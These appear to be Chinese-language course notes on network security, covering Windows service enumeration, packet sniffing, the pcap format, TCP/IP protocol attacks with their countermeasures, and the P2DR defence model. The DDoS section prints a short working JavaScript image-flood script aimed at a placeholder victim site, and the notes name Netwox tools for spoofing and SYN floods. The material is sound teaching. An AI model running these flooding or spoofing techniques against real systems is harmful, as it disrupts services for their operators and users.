10.3.3.2.4 Windows平台网络服务查点

Windows网络服务

  • NetBIOS网络基本输入输出系统服务

    -Windows独有的局域网组网协议

  • SMB文件与打印共享服务

  • AD活动目录与LDAP轻量级目录访问协议

  • MSRPC微软远过程调用服务

    -PRC/DCOM

Windows平台网络服务查点
-NetBIOS主机查点
-SMB会话查点
-目录查点
-MSRPC查点

10.3.3.2.4.1 Windows Networking API
  • WinSock API

  • 命名管道(Named Pipes)和邮件槽(Mail Slots)

    • 命名管道:提供可靠双向通信,协议无关的标识Windows网络资源的方法
    • 邮件槽:提供不可靠的单向数据传输,支持广播
  • Web访问API

    -WinInet/WinHTTP/HTTP API

10.3.3.2.4.2 NetBIOS
  • NetBIOS(网络基本输入/输出系统):最初由IBM开发,MS利用NetBIOS作为构建局域网的上层协议

  • NetBIOS使得程序和网络之间有了标准的接口,方便应用程序的开发。并且可以移植到其他的网络中

  • NetBIOS位于OSI模型会话层,TCP/IP之上

  • NetBIOS有两种通讯模式

    • 会话模式。一对一进行通讯,LAN中的机器之间建立会话,可以传输较多的信息,并且可以检查传输错误
    • 数据报模式。可以进行广播或者一对多的通讯,传输数据大小受限制,没有错误检查机制,也不必建立通讯会话
  • NetBIOS over TCP/IP,支持三种服务

    • 名字服务UDP 137
    • 会话服务TCP 139/445
    • 数据报服务UDP 138

NetBIOS网络查点

  • 使用net view命令查点域

    • 列出网络上的工作组和域:net view /domain
    • 列出指定组/域中的所有计算机:net view /domain:DOMAIN_NAME
  • 查点域控制器

    • Windows Resource Kit -nltest工具

      Nltest.exe 是非常强大的命令行实用程序,用于测试在 Windows NT 域中的信任关系和域控制器复制的状态。域包含,还有一个主域控制器 (PDC) 和零个或多个备份域控制器 (BDC) 的域控制器。

  • 查点主机上的NetBIOS名字表

    • nbtstat工具

      主机中的NetBIOS名字表

      计算机名、所在域、当前登录用户、当前运行服务和网卡硬件MAC地址

    • nbtscan工具

      对整个局域网进行快速的nbtstat查询

      NBTscan是一款在IP网络上扫描NetBIOS名称信息的工具。它通过给指定范围内所有地址发送状态查询来获得反馈信息并以表形式呈现给使用者。每一地址的反馈信息包括IP地址、NetBIOS计算机名、登录用户、MAC地址。

  • 其他工具

    epdump, rpcdump, getmac, netdom, netviewx, Winfo, nbtdump, …

  • 防范措施

    • 网络:防火墙禁止外部访问TCP/UDP 135-139,445端口
    • 主机:配置IPSec过滤器,主机个人防火墙,禁用Alerter和Messenger服务
10.3.3.2.4.3 MSRPC远程进程调用/DCOM

RPC (Remote Procedure Call)

  • 网络编程标准
  • 目的: 提供“能在某种程度上像应用程序开发人员隐藏有关网络编程细节”的编程模型

RPC调用

  • 允许程序员编写的客户应用程序跨网络调用远程计算机上服务器应用程序中的过程

客户机对服务器的RPC调用操作:

1.调用客户端句柄;执行传送参数
2.调用本地系统内核发送网络消息
3.消息传送到远程主机
4.服务器句柄得到消息并取得参数
5.执行远程过程
6.执行的过程将结果返回服务器句柄
7.服务器句柄返回结果,调用远程系统内核
8.消息传回本地主机
9.客户句柄由内核接收消息
10.客户接收句柄返回的数据

10.3.3.2.4.4 COM/DCOM

COM对象: 使应用程序由不同组件构成,导出面向对象接口,提高软件模块化、可扩展性和可交互性。

DCOM: 提供COM组件的位置透明性,依赖于RPC

10.3.3.2.4.5 常用的Windows应用层网络服务
  • Network Applications

  • IIS (Internet Information Services)
    HTTP/FTP/…

  • Email
    Exchange Server
  • Database
    MS SQL Server
  • RDP
    Remote Desktop Protocol
  • 通常以Windows服务方式后台运行
10.3.3.2.4.6 Windows服务
  • Windows服务-系统启动时刻启动进程的机制,提供不依赖于任何交互式的服务。

  • Windows服务

    • 服务应用程序
      注册服务Advapi32.dll, CreateService/StartServices
      注册表: HKLM\SYSTEM\CurrentControlSet\Services
      共享服务进程: 服务宿主svchost.exe
    • 服务控制管理器(SCM, service control manager, services.exe)
      Winlogon进程在加载GINA之前执行SCM启动函数
      SCM中的ScCreateServiceDB根据注册表分别启动服务
      SCM中的ScAutoStartServices启动“自动启动”的服务
    • 服务控制程序(SCP, service control program)
      控制面板,服务插件…

11. 网络嗅探与协议分析

  • 网络嗅探(Sniff)

–网络监听、网络窃听

–类似于传统的电话线窃听

  • 网络嗅探技术定义

–利用计算机网络接口截获目的地为其他计算机的数据报文

–监听网络流中所包含的用户账户密码或私密信息等

  • 网络嗅探器(Sniffer)

–实现嗅探的软件或硬件设备

–嗅探获得数据二进制格式数据报文

–解析和理解二进制数据,获取各层协议字段和应用层传输数据网络协议分析

  • 危害与作用

    • 攻击者:内网渗透技术

      窃取机密信息,为发起进一步攻击收集信息

    • 防御者

      管理员可以用来监听网络的流量情况,定位网络故障

      为网络入侵检测系统提供底层数据来源基础

    • 其他作用

      开发网络应用的程序员可以监视程序的网络情况

  • 网络嗅探技术与工具分类

    • 以太网嗅探
    • WiFi嗅探
    • 目前一些著名嗅探器支持多种链路层网络嗅探,wireshark, Sniffer Pro…
  • 工具形态

    • 软件嗅探器
    • 硬件嗅探器(协议分析仪): 专用设备, 速度快, 额外功能(如流量记录与重放等), 价格昂贵

11.1 以太网络

11.1.1 工作原理

  • 载波侦听/冲突检测(CSMA/CD: 802.3, carrier sense multiple access with collision detection)技术
    • 载波侦听:是指在网络中的每个站点都具有同等的权利,在传输自己的数据时,首先监听信道是否空闲
      如果空闲,就传输自己的数据
        如果信道被占用,就等待信道空闲
      
    • 而冲突检测则是为了防止发生两个站点同时监测到网络没有被使用时而产生冲突
  • 以太网采用了CSMA/CD技术,由于使用了广播机制,所以,所有在同一媒介信道上连接的工作站都可以看到网络上传递的数据。

11.1.2 工作模式

  • 网卡的MAC地址(48位)

    –通过ARP来解析MAC与IP地址的转换

    –用ipconfig/ifconfig可以查看MAC地址

  • 正常情况下,网卡应该只接收这样的包

    –MAC地址与自己相匹配的数据帧

    –广播包

  • 网卡完成收发数据包的工作,两种接收模式

    –混杂模式:不管数据帧中的目的地址是否与自己的地址匹配,都接收下来

    –非混杂模式:只接收目的地址相匹配的数据帧,以及广播数据包(和组播数据包)

  • 为了监听网络上的流量,必须设置为混杂模式

11.2 共享式网络与交换式网络

11.2.1 共享式网络

–通过Hub(集线器)连接

–总线方式: 通过网络的所有数据包

–发往每一个主机

–能够嗅探整个Hub上全部网络流量

11.2.2 交换式网络

–通过Switch(交换机)连接

–由交换机构造一个“MAC地址-端口”映射表

–发送包的时候,只发到特定端口上

–只能监听同一端口上流量

–可通过流量映像口监听(SPAN)

11.2.2.1 交换式网络中的嗅探攻击

  • MAC地址洪泛攻击

    向交换机发送大量虚构MAC地址和IP地址数据包
    致使交换机“MAC地址-端口映射表”溢出
    交换机切换入所谓的“打开失效”模式-“共享式”

  • MAC欺骗

    假冒所要监听的主机网卡,将源MAC地址伪造成目标主机的MAC地址
    交换机不断地更新它的“MAC地址-端口映射表”
    交换机就会将本应发送给目标主机的数据包发送给攻击者

  • ARP欺骗(中间人攻击)

    利用IP地址与MAC地址之间进行转换时的协议漏洞

11.3 应用程序抓包的技术

  • 类Unix平台提供了标准的API支持

    内核态: BPF(Berkeley Packet Filter)
    用户态函数库:libpcap
    用户态嗅探程序:tcpdump等

  • Windows平台通过驱动程序来抓取数据包

    驱动程序: NPF(NetGroupPacket Filter)
    用户态函数库:winpcap
    用户态嗅探程序:windump等

11.3.1 BPF

  • BSD数据包捕获

    –BPF是一个核心态的组件,支持数据包“过滤”抓取

    –Network Tap接收所有的数据包

    –BPF虚拟机机器语言的解释器,比较/算术等操作

    –Kernel Buffer,保存过滤器送过来的数据包

    –User buffer,用户态上的数据包缓冲区

  • Libpcap(一个抓包工具库)支持BPF

    –Libpcap是用户态的一个抓包工具

    –Libpcap几乎是系统无关的

  • BPF是一种比较理想的抓包方案

    –在核心态,所以效率比较高

    –目前类UNIX系统的标准抓包内核模块

11.3.2 libpcap抓包库

  • 用户态下的抓包库

  • 系统独立的接口,C语言接口

    –多种其他高级编程语言包装接口: Perl, Python, Ruby, Tcl, Java, …

  • 广泛应用于

    –网络统计软件

    –入侵检测系统

    –网络调试

  • 支持过滤机制,BPF

11.4 pcap格式

基本格式:文件头、数据包头、数据报、数据包头、数据报…

1
2
3
4
5
6
7
8
9
10
struct pcap_file_header {
bpf_u_int32 magic; //4字节 pcap文件标识 目前为“d4 c3 b2 a1”
u_short version_major; //2字节 主版本号
u_short version_minor; // 2字节 次版本号
bpf_int32 thiszone; /* 4字节 时区修正 并未使用,目前全为0*/
bpf_u_int32 sigfigs; /* 4字节 精确时间戳 并未使用,目前全为0 */
bpf_u_int32 snaplen; /* 4字节 抓包最大长度, 抓全设为0x0000ffff, 缺省为68字节 */
bpf_u_int32 linktype; /* 4字节 链路类型 一般都是1:ethernet*/
};

各字段说明:

字段 字节 16进制表示 含义
Magic 4B 1A 2B 3C 4D 标示文件的开始
Major 2B 02 00 当前文件主要的版本号
Minor 2B 04 00 当前文件次要的版本号
ThisZone 4B 当地的标准时间
SigFlags 4B 时间戳的精度
SnapLen 4B 最大的存储长度
LinkType 4B 链路类型

LinkType链路类型

类型
0 BSD loopback devices, except for later OpenBSD
1 Ethernet, and Linux loopback devices
6 802.5 Token Ring
7 ARCnet
8 SLIP
9 PPP
10 FDDI
100 LLC/SNAP-encapsulated ATM
101 “raw IP”, with no link
102 BSD/OS SLIP
103 BSD/OS PPP
104 Cisco HDLC
105 802.11
108 later OpenBSD loopback devices (with the AF_value in network byte order)
113 special Linux “cooked” capture
114 LocalTalk
1
2
3
4
5
6
7
8
9
struct pcap_pkthdr {
struct timeval ts; /* time stamp */
bpf_u_int32 caplen; /* length of portion present */
bpf_u_int32 len; /* length this packet (off wire) */
};
struct timeval {
long tv_sec; /* seconds (XXX should be time_t) */
suseconds_t tv_usec; /* and microseconds */
};

各字段说明:

字段 含义
Timestamp 时间戳高位,精确到seconds
Timestamp 时间戳低位,精确到microseconds
Caplen 当前数据区的长度,即抓取到的数据帧长度,由此可以得到下一个数据帧的位置。
Len 离线数据长度,网络中实际数据帧的长度,一般不大于caplen,多数情况下和Caplen数值相等。

Packet 数据:即 Packet(通常就是链路层的数据帧去掉前面用于同步和标识帧开始的8字节和最后用于CRC校验的4字节)的具体内容,长度就是Caplen,这个长度的后面,就是当前PCAP文件中存放的下一个Packet数据包。PCAP文件里面并没有规定捕获的Packet数据包之间有什么间隔字符串,需要靠第一个Packet包确定下一组数据在文件中的起始位置。

11.5 网络嗅探器软件

  • 类Unix平台网络嗅探器软件

    –Libpcap抓包开发函数库

    –Tcpdump以及wireshark嗅探器软件

    –Snort、dsniff、sniffit和linux_sniffer…

  • Windows平台网络嗅探器软件

    –NPF/winpcap/windump

    –SnifferPro

    –Buttsniffer、NetMon、Network Associates Sniffer

11.5.1 Windows平台下的抓包技术

  • 内核本身没有提供标准的接口

  • 通过增加一个驱动程序或者网络组件来访问内核网卡驱动提供的数据包

    –在Windows不同操作系统平台下有所不同

  • 不同sniffer采用的技术不同

    –WinPcap是一个重要的抓包工具,它是libpcap的Windows版本

11.5.1.1 WinPcap

  • WinPcap包括三个部分

    –第一个模块NPF(Netgroup Packet Filter),是一个虚拟设备驱动程序文件。它的功能是过滤数据包,并把这些数据包原封不动地传给用户态模块,这个过程中包括了一些操作系统特有的代码

    –第二个模块packet.dll为win32平台提供了一个公共的接口。不同版本的Windows系统都有自己的内核模块和用户层模块。Packet.dll用于解决这些不同。调用Packet.dll的程序可以运行在不同版本的Windows平台上,而无需重新编译

    –第三个模块Wpcap.dll是不依赖于操作系统的。它提供了更加高层、抽象的函数。

  • packet.dll和Wpcap.dll

    –packet.dll直接映射了内核的调用

    –Wpcap.dll提供了更加友好、功能更加强大的函数调用

  • NPF在Windows网络结构中位置

    • NDIS(Network Driver Interface Specification,网络驱动接口规范)描述了网络驱动与底层网卡之间的接口规范,以及它与上层协议之间的规范
    • NPF作为一个核心驱动程序而提供的
  • WinPcap优势

    • 提供了一套标准的抓包接口

      ​ –与libpcap兼容,可使得原来许多类UNIX平台下的网络分析工具快速移植过来

      ​ –便于开发各种网络分析工具

    • 除了与libpcap兼容的功能之外,还有

      ​ –充分考虑了各种性能和效率的优化,包括对于NPF内核层次上的过滤器支持

      ​ –支持内核态的统计模式

      ​ –提供了发送数据包的能力

11.6 网络嗅探的检测技术

  • 网卡和操作系统对于是否处于混杂模式会有一些不同的行为,利用这些特征可以判断一个机器是否运行在混杂模式下

  • 一些检测手段

    –根据操作系统的特征

    • Linux内核的特性:正常情况下,只处理本机MAC地址或者以太广播地址的包。在混杂模式下,许多版本的Linux内核只检查数据包中的IP地址以确定是否送到IP堆栈。因此,可以构造无效以太地址而IP地址有效的ICMP ECHO请求,看机器是否返回应答包(混杂模式),或忽略(非混杂模式)。
    • Windows 9x/NT:在混杂模式下,检查一个包是否为以太广播包时,只看MAC地址前八位是否为0xff。

    –根据网络和主机的性能

    • 根据响应时间:向本地网络发送大量的伪造数据包,然后,看目标主机的响应时间,首先要测得一个响应时间基准和平均值。

11.7 网络嗅探技术的防范措施

  • 采用安全的网络拓扑

    –共享式网络à交换式网络

    –交换机上设置VLAN等技术手段,对网络进行合理的分段

  • 共享式以太网à交换式以太网拓扑

    –性能提升: 广播冲突域à 每台主机单独冲突域

    –安全性提升: 较难被网络监听

    –交换式网络提供安全性仍可能被挫败: ARP欺骗

  • 静态ARP或者MAC-端口映射表代替动态机制

  • 重视网络数据传输的集中位置点的安全防范

  • 避免使用明文传输口令/敏感信息网络协议, 使用加密协议

    –telnet->ssh

    –IPSEC/TLS

11.8 网络协议分析

  • 网络协议分析的粒度和层次

    –原始数据包: 最细粒度、最低层次

    –网络流(/会话): 通过5元组进行流(/会话)重组

  • 5元组: sip, sport, dip, dport, ipproto

    –网络流高层统计

    –IP会话列表

    • 目标端口流统计\
  • 网络报文分析工具

    –集成工具: Wireshark

    –网络流重组: nstreams, snort

    –高层统计和摘要分析: Netflow, RRDTools

  • 原始数据包粒度网络协议分析对网络上传输的二进制格式数据包进行解析,以恢复出各层网络协议信息以及传输内容的技术方法。

11.9 网络协议分析技术实现

  • 实现参考源码

    –Snort中的网络解码器模块

    –decode.c/decode.h

  • 解析以太网数据帧 DecodeEthPkt

    –预处理:拆包前进行一些前期处理

    –拆包:将当前得到的包内存位置赋给Packet数据结构中相应的指针eh(EtherHdr)型的指针即可

    –解析上层协议: switch语句,根据ether_type分别调用相应的上层协议解析例程

11.10 Wireshark(ethereal)

  • Wireshark特性

    –图形化界面/命令行(tshark)

    –在线/离线抓包(支持标准pcap二进制日志文件)

    –支持BPF过滤器

    –支持分析几百种常见网络协议

    –跨平台:类UNIX、Win32(依赖libpcap/WinPcap)

11.10.1 Wireshark基本功能

  • 抓包(Capture)

    –Capture Filter: BPF过滤器

  • 分析(Analyze)

    –自动协议解码: 支持数百种协议, 显示各层包头和内容字段

    –灵活选择协议对网络流进行解码Decode As…

  • 统计(Statistics)

    –协议分类(Protocol Hierarchy)

    –会话列表(Conversations)

    • 2层(以太网)/3层(IP)/4层(TCP,UDP)

    –会话终端(EndPoints)

    –I/O Graph: 随时间统计的流量曲线

    –会话重组(Follow TCP/UDP Stream)(Flow Graph)

11.10.2 Wireshark中的两类过滤规则

  • 嗅探过滤规则

    –支持BPF规则

    –用于嗅探抓包时的过滤

  • 显示过滤规则

    –用于在界面中选择显示哪些数据包

    –与BPF规则有所不同

11.11 流重组/会话重组

  • 流重组/会话重组

    –TCP/UDP会话发送字节数可能很大

    –IP包最大长度(64K-20≈64K)

    –以太网帧最大长度(1500-20=1480)

    –协议栈发送大量TCP/UDP报文时,必然分组传送

    –流重组: 将同属于一个TCP/UDP会话的IP包负载按序重新组装,还原应用层数据的过程

  • 流重组工具

    –Wireshark: Follow TCP/UDP Stream

    –nstreams:

    • nstreams -f pcap_file > nstreams.txt

    –Snort:

    • Log规则(snort.conf): log tcp any any <> any any (sid:1000001; session: printable;)

    • snort -r pcap_file –l ./log -csnort.conf

11.12 网络流记录和高层统计分析

  • Netflow

    –定义了网络会话流记录的业界标准-Cisco

  • RFC 3334/3954/3955

    –IP Flow Information Export (netflowv10)-IETF

  • 网络流记录

    –商业路由器、交换机支持Netflow日志输出

    –开源软件: nfdump(支持Netflow标准), Argus

  • 网络流分析

    –基于pcap文件上的流重组和统计分析

  • Wireshark: 协议分类/会话列表…

  • SnifferPro

    –NetflowAnalyzer: HP openview/cacti/nfsen

11.13 嗅探实例——网站指纹

12. TCP/IP网络协议攻击

12.1 网络安全属性

  • 网络安全CIA属性

    –保密性(Confidentiality)

    –完整性(Integrity)

    –可用性(Availability)

  • 其他三个补充属性

    –真实性(Authentication)

    –不可抵赖性(Non-Repudiation)

    –可审查性(Accountability)

12.2 网络攻击基本模式

在 x. 800和 RFC 2828中使用的一种有用的安全攻击分类方法是被动攻击和主动攻击。

12.2.1 被动攻击

被动攻击试图从系统中学习或使用信息,但不影响系统资源。

被动攻击的本质是窃听或监听传输。对手的目标是获取正在传输的信息。被动攻击有两种类型:

  • 发布消息内容
  • 流量分析——监控流量,以确定通信主机的位置和身份,并可以观察交换消息的频率和长度

这些攻击很难发现,因为它们不涉及对数据的任何更改。

12.2.2 主动攻击

主动攻击包括修改数据流或创建虚假数据流,可以细分为4个类别: 伪装、重放、篡改消息和分布式拒绝服务攻击:

  • 把一个实体伪装成另一个实体
  • 重播以前的讯息
  • 修改/改变传输中的信息以产生未经授权的效果
  • 分布式拒绝服务攻击——防止或抑制通讯设施的正常使用或管理

主动攻击呈现出与被动攻击相反的特征。虽然被动攻击很难被发现,但可以采取措施防止其成功。另一方面,由于潜在的物理、软件和网络漏洞种类繁多,要完全防止主动攻击是相当困难的。相反,我们的目标是检测主动攻击,并从它们造成的任何干扰或延迟中恢复。

12.2.3 对攻击的一般处理原则

  • 被动攻击 – 侧重于阻止

    —容易阻止

    —难于检测

  • 主动攻击 – 侧重于检测与恢复

    —难于阻止

    —容易检测

考虑安全服务的作用,可能需要什么。注意到两个的异同与传统的纸质文件,例如:

  • 有签名、日期;
  • 需要从披露的保护、篡改或销毁;
  • 可经公证和见证;
  • 可以记录或许可。

12.2.4 中间人攻击(MITM攻击)

  • 通信双方

    –Alice & Bob

  • 中间人

    –Mallory

    –与通信双方建立起各自独立的会话连接

    –对双方进行身份欺骗

    –进行消息的双向转发

    –必要前提:拦截通信双方的全部通信(截获)、转发篡改消息(篡改)、双方身份欺骗(伪造)

    –现实世界中的中间人攻击–国际象棋欺骗术

12.3 安全缺陷与攻击技术

12.4 原始报文伪造技术及工具

  • 原始报文伪造技术

    –伪造出特制的网络数据报文并发送

    –原始套接字(Raw Socket)

  • Netwox/Netwag

    –超过200个不同功能的网络报文生成与发送工具

    –#netwoxnumber [parameters … ]

12.4.1 Netwox工具使用

  • Netwox: 命令行

  • Netwag: 窗口, TCL支持

  • Wireshark捕获网络包

  • 工具32:伪造以太网包

12.5 网络层协议攻击

12.5.1 IP源地址欺骗

  • IP源地址欺骗

    –伪造具有虚假源地址的IP数据包进行发送

    –目的:隐藏攻击者身份、假冒其他计算机

  • IP源地址欺骗原理

    –路由转发只是用目标IP地址,不对源做验证

    –现实世界中的平信

    –通常情况:无法获得响应包

  • 假冒IP攻击

    • 可以嗅探响应包的环境

      ​ –同一局域网

      ​ –ARP欺骗、重定向攻击劫持响应包

    • 盲攻击(blind attack)

      ​ –Robert T. Morris在1985年提出

      ​ –Kevin Mitinick在1995年仍使用

      ​ –通过猜测TCP三次握手中所需的信息,假冒IP建立起TCP连接

12.5.1.1 TCP连接的基本信息

五元组(srcip(源IP), srcport, dstip, dstport, proto)

反映传输状态(seq, ack)

12.5.1.2 盲攻击过程

12.5.1.3 IP源地址欺骗技术的应用场景

  • 普遍应用场景

    –拒绝服务攻击:无需或不期望响应包,节省带宽,隐藏攻击源

    –网络扫描(nmap -D):将真正扫描源隐藏于一些欺骗的源IP地址中

  • 假冒IP攻击场景

    –对付基于IP地址的身份认证机制

    • 类Unix平台上的主机信任关系

    • 防火墙或服务器中配置的特定IP访问许可

    –远程主机IP欺骗-盲攻击,较难成功

12.5.1.4 利用Netwox进行IP源地址欺骗

工具34/38

12.5.1.5 IP源地址欺骗的防范措施

  • 使用随机化的初始序列号以避免远程的盲攻击

  • 使用网络层安全传输协议如IPsec

    –避免泄露高层协议可供利用的信息及传输内容

  • 避免采用基于IP地址的信任策略

    –以基于加密算法的用户身份认证机制来替代

  • 在路由器和网关上实施包检查和过滤

    –入站过滤机制(ingress filtering)

    –出站过滤机制(egress filtering)

12.5.2 ARP欺骗

  • ARP协议工作原理

    –将网络主机的IP地址解析成其MAC地址

    –①每台主机设备上都拥有一个ARP缓存(ARP Cache)

    –②检查自己的ARP缓存,有,直接映射,无,广播ARP请求包

    –③检查数据包中的目标IP地址是否与自己的IP地址一致,如一致,发送ARP响应,告知MAC地址

    –④源节点在收到这个ARP响应数据包后,将得到的目标主机IP地址和MAC地址对映射表项添加到自己的ARP缓存中

12.5.2.1 ARP欺骗攻击技术原理

ARP欺骗:发送伪造ARP消息,对特定IP所对应的MAC地址进行假冒欺骗,从而达到恶意目的。

  • 网关ARP欺骗

12.5.2.2 ARP欺骗技术的应用场景

  • 利用ARP欺骗进行交换网络中的嗅探

  • ARP欺骗构造中间人攻击,从而实施TCP会话劫持

  • ARP病毒

  • ARP欺骗挂马

12.5.2.3 利用Netwox进行ARP欺骗

工具33

12.5.2.4 ARP欺骗攻击防范措施

  • 静态绑定关键主机的IP地址与MAC地址映射关系

    –网关/关键服务器

    –“arp -s IP地址 MAC地址类型”

  • 使用相应的ARP防范工具

    –ARP防火墙

  • 使用VLAN虚拟子网细分网络拓扑

  • 加密传输数据以降低ARP欺骗攻击的危害后果

12.5.3 ICMP路由重定向攻击

  • ICMP路由重定向攻击

    –伪装成路由器发送虚假的ICMP路由路径控制报文

    –使受害主机选择攻击者指定的路由路径

    –攻击目的:嗅探或假冒攻击

  • 技术原理

    –路由器告知主机:“应该使用的路由器IP地址”

12.5.3.1 ICMP路由重定向攻击技术

  • 攻击节点冒充网关IP,向被攻击节点发送ICMP重定向报文,并将指定的新路由器IP地址设置为攻击节点

  • 被攻击节点接受报文,选择攻击节点作为其新路由器(即网关)

  • 攻击节点可以开启路由转发,实施中间人攻击

  • “谎言还是真话”?

12.5.3.2 ICMP路由重定向攻击防范

  • 根据类型过滤一些ICMP数据包
  • 设置防火墙过滤
  • 对于ICMP重定向报文判断是不是来自本地路由器

12.6 传输层协议攻击

12.6.1 TCP RST攻击

  • 中断攻击

    –伪造TCP重置报文攻击(spoofed TCP reset packet)

    –TCP重置报文将直接关闭掉一个TCP会话连接

    –限制条件:通讯目标方接受TCP包

  • 通讯源IP地址及端口号一致

  • 序列号(Seq)落入TCP窗口之内

    –嗅探监视通信双方的TCP连接,获得源、目标IP地址及端口

    –结合IP源地址欺骗技术伪装成通信一方,发送TCP重置报文给通信另一方

  • 应用场景:恶意拒绝服务攻击、重置入侵连接、GFW

    –GFW: “net::ERR_CONNECTION_RESET”

例:针对Google检索的 TCP RESET

p4-36-41

12.6.2 TCP会话劫持

  • 结合嗅探、欺骗技术

  • 中间人攻击:注射额外信息,暗中改变通信

  • 计算出正确的 seq,ackseq 即可

  • TCP会话攻击工具

    –Juggernaut、Hunt、TTY watcher、IP watcher

12.6.2.1 Hunt工具介绍

  • 源码开放的自由软件,可运行在Linux平台上

  • 功能特点

    –监听当前网络上的会话

    –重置会话(reset a session)

    –劫持会话

    • 在劫持之后,使连接继续同步

    –确定哪些主机在线

    –四个守护进程

    • 自动reset
    • Arp欺骗包的转发
    • 收集MAC地址
    • 具有搜索功能的sniffer

12.6.2.2 会话劫持的防范措施

  • 避免攻击者成为通信双方的中间人

    –部署交换式网络,用交换机代替集线器

    –禁用主机上的源路由

    –采用静态绑定IP-MAC映射表以避免ARP欺

    –过滤ICMP重定向报文

  • TCP会话加密(IPsec协议)

    –避免了攻击者在得到传输层的端口及序列号等关键信息

  • 防火墙配置

    –限制尽可能少量的外部许可连接的IP地址

  • 检测

    –ACK风暴:ACK包的数量明显增加

12.6.3 TCP SYN Flood

  • 拒绝服务攻击(DoS)

    –破坏可用性

  • TCP SYN Flood

    –SYN洪泛攻击

    –利用TCP三次握手协议的缺陷

    –大量的伪造源地址的SYN连接请求

    –消耗目标主机的连接队列资源

    –不能够为正常用户提供服务

12.6.3.1 利用Netwox进行TCP SYN Flood

工具76

12.6.3.2 SYN Flood攻击防范措施-SynCookie

  • 弥补TCP连接建立过程资源分配这一缺陷

  • 无状态的三次握手

    –服务器收到一个SYN报文后,不立即分配缓冲区

    –利用连接的信息生成一个cookie, 作为SEQ

    –客户端返回ACK中带着ACK = cookie+1

    –服务器端核对cookie, 通过则建立连接,分配资源

  • 有状态防火墙

    –网络中的TCP连接进行状态监控和处理

    –维护TCP连接状态:NEW状态、GOOD状态、BAD状态…

    –三次握手‖代理

12.6.4 UDP Flood攻击

  • UDP协议

    –无状态不可靠

    –仅仅是传输数据报

  • UDP Flood

    –带宽耗尽型拒绝服务攻击

    –分布式拒绝服务攻击(DDoS)

    –利用僵尸网络控制大量受控傀儡主机

    –通常会结合IP源地址欺骗技术

12.6.4.1 UDP Flood攻击防范措施

  • 禁用或过滤监控和响应服务

  • 禁用或过滤其它的UDP 服务

  • 网络关键位置使用防火墙和代理机制来过滤掉一些非预期的网络流量

  • 遭遇带宽耗尽型拒绝服务攻击

    –终端无能为力

    –补救措施:网络扩容、转移服务器位置

    –事件响应:汇报给安全应急响应部门、追溯和处置

    –流量清洗解决方案:ISP为关键客户/服务所提供

12.6.4.2 另类DoS攻击

12.6.4.2.1 流量放大攻击
  • 对单个较小的UDP请求包回复以一个较大的UDP响应包的服务,可被用来放大 DOS 攻击
  • 攻击者伪造网络包,将其源地址设为受害者的 IP 地址,当服务产生响应时,大量的数据会发向受害者的地址。
  • 攻击者需要提供这类服务的大量地址以展开攻击,否则的话,受害者只需简单地丢弃来自这些少量地址的分组就能避免攻击。

常用的UDP放大器

  • DNS:ANY 查询将返回服务器所拥有的域的所有记录

  • NTP:MONLIST 返回最近询问时间的 600 个客户端

时至今日,虽然两者都考虑过配置错误的问题, 但在Internet上,保存有十万计的错误配置主机。

12.6.4.2.2 Javascript-based DDoS 攻击
  • 简单的一段攻击代码attack.js
1
2
3
4
5
6
7
8
function imgflood() {
var TARGET = 'victim-website.com'
var URI = '/index.php?'
var pic = new Image()
var rand = Math.floor(Math.random() * 1000)
pic.src = 'http://'+TARGET+URI+rand+'=val'
}
setInterval(imgflood, 10)

场景1

场景2

场景3

解决方案

12.7 TCP/IP网络协议栈攻击防范措施

12.7.1 监测、预防与安全加固

  • 网络接口层–主要安全威胁是网络嗅探

    –局域网中的监听点检测

    –网络设计上尽量细分和优化网络结构

    –关键路径上的网关、路由器等设备的严格安全防护

    –各类网络采用上层的加密通信协议

  • 互联层

    –多种检测和过滤技术来发现和阻断网络中欺骗攻击

    –增强防火墙、路由器和网关设备的安全策略(egress filtering)

    –关键服务器使用静态绑定IP-MAC映射表、使用IPsec协议加密通讯等预防机制

  • 传输层:加密传输和安全控制机制(身份认证,访问控制)

  • 应用层:加密,用户级身份认证,数字签名技术,授权和访问控制技术以及主机安全技术如审计、入侵检测

12.7.2 网络安全协议

  • 网络接口层

    –无线:WPA/WPA2

    –统一认证:802.1X

  • 网络互联层

    –IPsec协议簇

    –AH协议:完整性、认证、抗重放攻击

    –ESP协议:机密性、数据源验证、抗重放、完整性

  • 传输层

    –TLS/SSL: 加密、可靠

  • 应用层

    –HTTPS、S/MIME、SET

13. 网络安全防护技术

13.1 安全模型-P2DR模型

13.1.1 信息安全技术与安全模型的发展

  • COMSEC –通信安全

    –保护军事等机密信息,机密(Confidentiality)

    –专门针对机密性的BLP(Bell-La Padula)多级安全策略模型

  • COMPSEC -计算机安全

    –完整性(Integrity)也被纳入了核心安全属性

    –引入身份认证、访问控制技术

    –针对完整性保护的Biba模型和Clark-Wilson模型

  • NETSEC -网络安全

    –网络信息服务的可用性(Availability)也上升成为核心的安全属性

  • IA –信息保障(NSA)

    –机密性、完整性、可用性、真实性、不可抵赖性

    –信息保障体系;纵深安全防护体系

13.1.2 安全评估模型与标准

  • 安全评估

    –评估信息系统是否能够满足特定的安全需求和属性

  • 安全评估模型

    –1985:美国可信计算机安全评估准则TCSEC《桔皮书》

  • 分级评估:A\B\C\D

    –199x:欧洲ITSEC安全测评标准

    –1999:Common Criteria(CC)标准

    –1999:GB17859《计算机信息系统安全保护等级划分标准》

  • 静态安全模型VS. 动态安全模型(可适应安全模型)

13.1.3 PDR安全模型

  • PDR: 基于时间的安全(Time-based Security)

    –可以量化,可以计算

    –防御延缓攻击时间,及时的检测和响应

PDR的最基本的意思是,认为安全有三个不可或缺的功能要素:防护、检测、响应。

Pt:整个防护体系的整体防护时间

Dt:检测时间

Rt:响应时间

要达到安全,就要$Pt>Dt+Rt$

13.1.4 P2DR安全模型

美国ISS公司提出的动态网络安全体系的代表模型,也是动态安全模型的雏形。

网络安全是相对的,没有绝对的安全。

根据风险分析制定安全策略(Policy),PDR构成动态闭环。

  • P: 执行安全防护策略

    防火墙、身份认证、访问控制、加密

  • D: 实时检测

    漏洞评估、入侵检测

  • R: 实时响应

    应急响应、备份恢复、灾难恢复

13.2 P:防御技术

  • 网络防御-边界网络安全设备

    –网络访问控制:防火墙,VPN

    –网络内容控制:SCM

    –IPS(入侵防御系统), IMS(入侵管理系统), UTM(统一威胁管理)

  • 主机防御

    –漏洞扫描和补丁管理

    –个人防火墙

    –防病毒软件

    –系统诊断与恢复软件

  • 安全产业“老三样”: 防火墙、入侵检测、防病毒

  • 安全产业“新三样”: 安全管理平台、安全服务、个人安全防御

13.2.1 防火墙(FireWall)

  • 防火墙是一项协助确保信息安全的设备,会依照特定的规则,允许或是限制传输的数据通过。
